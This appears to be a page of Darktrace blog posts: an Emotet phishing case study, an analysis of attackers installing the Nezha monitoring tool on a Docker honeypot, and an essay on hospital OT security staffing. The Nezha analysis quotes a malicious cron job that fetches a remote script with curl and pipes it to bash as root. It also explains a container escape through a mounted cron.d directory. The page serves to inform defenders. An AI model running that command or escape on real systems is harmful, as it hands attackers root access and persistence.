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August 25, 2020

Emotet Resurgence: Email & Network Defense Insights

Explore how Darktrace's defense in depth strategy combats Emotet's resurgence in email and network layers, ensuring robust cybersecurity.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Written by
Dan Fein
VP, Product
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25
Aug 2020

The Emotet banking malware first emerged in 2014, and has since undergone multiple iterations. Emotet seeks to financially profit from a range of organizations by spreading rapidly from device to device and stealing sensitive financial information.

Darktrace’s AI has detected the return of this botnet after a five month absence. The new Spamware campaign has hit multiple industries through highly sophisticated phishing emails, containing either URLs linking to the download of a macro-containing Microsoft Word document or an attachment of the document itself. This iteration uses new variants of infrastructure and malware that were unknown to threat intelligence lists – thus easily bypassing static, rule-based defenses.

In this blog post, we investigate the attack from two angles. The first documents a case where Emotet successfully infiltrated a company’s network, where it was promptly detected and alerted on by the Enterprise Immune System. We then explore two customers who had extended Darktrace’s Cyber AI coverage to the inbox. While these organizations were also targeted by this latest Emotet campaign, the malicious email containing the Emotet payload was identified and blocked by Antigena Email.

Case study one: Detecting Emotet in the network

Figure 1: A timeline of the attack

This first case study looks at a large European organization spanning multiple industries, including healthcare, pharmaceuticals, and manufacturing. Darktrace’s AI was monitoring over 2500 devices when the organization became a victim of this new wave of Emotet.

The attack entered the business via a phishing email that fell outside of Darktrace’s scope in this particular deployment, as the customer had not yet activated Antigena Email. Either a malicious link or a macro-embedded Word document in the email directed a device to the malicious payload.

Darktrace’s Enterprise Immune System witnessed SSL connections to a 100% rare external IP address, and detected a Kernel crash on the device shortly afterwards, indicating potential exploitation.

Following these actions, the desktop began to beacon to multiple external endpoints using self-signed or invalid SSL certificates. The observed endpoints had previously been associated with Trickbot C2 servers and the Emotet malware. The likely overall dwell time – that is the length of time an attacker has free reign in an environment before they are eradicated – was in this instance around 24 hours, with most of the activity taking place on July 23.

The device then made a large number of new and unusual internal connection attempts over SMB (port 445) to 97 internal devices during a one-hour period. The goal was likely lateral movement, possibly with the intention to infect other devices, download additional malware, and send out more spam emails.

Darktrace’s AI had promptly alerted the security team to the initial rare connections, but when the device attempted lateral movement it escalated the severity of the alert. The security team was able to remediate the situation before further damage was done, taking the desktop offline.

This overview of the infected device shows the extent of the anomalous behavior, with over a dozen Darktrace detections firing in quick succession.

Figure 2: A graph showing unusual activity in combination with the large number of model breaches on July 23

Figure 3: A list of all model breaches occurring over a small time on the compromised device

Case study two: Catching Emotet in the email environment

While Darktrace’s Enterprise Immune System allows us to visualize the attack within the network, Antigena Email has also identified the Emotet phishing campaign in many other customer environments and stopped the attack before the payload could be downloaded.

One European organization was hit by multiple phishing emails associated with Emotet. These emails use a number of tactics, including personalized subject lines, malicious attachments, and hidden malicious URLs. However, Darktrace’s AI recognized the emails as highly anomalous for the organization and prevented them from reaching employees’ inboxes.

Figure 4: A snapshot of Antigena Email’s user interface. The subject line reads ‘Notice of transfer.’

Despite claiming to be from CaixaBank, a Spanish financial services company, Antigena Email revealed that the email was actually sent from a Brazilian domain. The email also contained a link that was hidden behind text suggesting it would lead to a CaixaBank domain, but Darktrace recognized this as a deliberate attempt to mislead the recipient. Antigena Email is unique in its ability to gather insights from across the broader business, and it leveraged this ability to reveal that the link in fact led to a WordPress domain that Darktrace’s AI identified as 100% rare for the business. This would not have been possible without a unified security platform analyzing and comparing data across different parts of the organization.

Figure 5: The malicious links contained in the email

The three above links surfaced by Darktrace are all associated with the Emotet malware, and prompt the user to download a Word file. This document contains a macro with instructions for downloading the actual virus payload.

Another email targeting the same organization contained a header suggesting it was from Vietnam. The sender had never been in any previous correspondence across the business, and the single, isolated link within the email was also revealed to be a 100% rare domain. The website displayed when visiting the domain imitates a legitimate printing business, but appears hastily made and contained a similar malicious payload.

In both cases, Darktrace’s AI recognized these as phishing attempts due to its understanding of normal communication patterns and behavior for the business and held the emails back from the inbox, preventing Emotet from entering the next phase of the attack life cycle.

Case study three: A truly global campaign

Darktrace has seen Emotet in attacks targeting customers around the world, with one of the most recent campaigns aimed at a food production and distribution company in Japan. This customer received six Emotet emails across July 29 and July 30. The senders spoofed Japanese names and some existing Japanese companies, including Mitsubishi. Antigena Email successfully detected and actioned these emails, recognizing the spoofing indicators, ‘unspoofing’ the emails, and converting the attachments.

Figure 6: A second Emotet email targeting an organization in Japan

Revealing a phish

Both the subject line and the filename translate to “Regarding the invoice,” followed by a number and the date. The email imitated a well-known Japanese company (三菱食品(株)), with ‘藤沢 昭彦’ as a common Japanese name and the appended ‘様’ serving a similar function to ‘Sir’ or ‘Dr,’ in a clear attempt to mimic a legitimate business email.

A subsequent investigation revealed that the sender’s location was actually Portugal, and the hash values of Microsoft Word attachments were consistent with Emotet. Crucially, at the time of the attack, these file hashes were not publicly associated with any malicious behavior and so could not have been used for initial detection.

Figure 7: Antigena Email shows critical metrics revealing the true source of the email

Surfacing further key metrics behind the email, Antigena Email revealed that the true sender was using a GMO domain name. GMO is a Japanese cloud-hosting company that offers cheap web email services.

Figure 8: Antigena Email reveals the anomalous extensions and mimes

The details of the attachment show that both the extension and mime type is anomalous in comparison to documents this customer commonly exchanges by email.

Figure 9: Antigena Email detects the attempt at inducement

Antigena Email’s models are able to recognize topic anomalies and inducement attempts in emails, regardless of the language they are written in. Despite this email being written in Japanese, Darktrace’s AI was still able to reveal the attempt at inducement, giving the email a high score of 85.

Figure 10: The six successive Emotet emails

The close proximity in which these emails were sent and the fact they all contained URLs consistent with Emotet suggests that they are likely part of the same campaign. Different recipients received the emails from different senders in an attempt to bypass traditional security tools, which are trained to deny-list an individual sender once it is recognized as bad.

A defense in depth

This new campaign and the comeback of the Emotet malware has shown the need for defense in depth – or having multiple layers of security across the different areas of a business, including email, network, cloud and SaaS, and beyond.

Historically, defense in depth has led companies to adopt myriad point solutions, which can be both expensive and challenging to manage. Security leaders are increasingly abandoning point solutions in favor of a single security platform, which not only makes handling the security stack easier and more efficient, but creates synergies between different parts of the platform. Data can be analyzed across different sources and insights drawn from different areas of the organization, helping detect sophisticated attacks that might attempt to exploit a business’ siloed approach to security.

A single platform ultimately reduces the friction for security teams while allowing for effective, company-wide incident investigation. And when a platform approach leverages AI to understand normal behavior rather than looking for ‘known bad’, it can detect unknown and emerging threats – and help prevent damage from being done.

Thanks to Darktrace analyst Beverly McCann for her insights on the above threat find.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Written by
Dan Fein
VP, Product

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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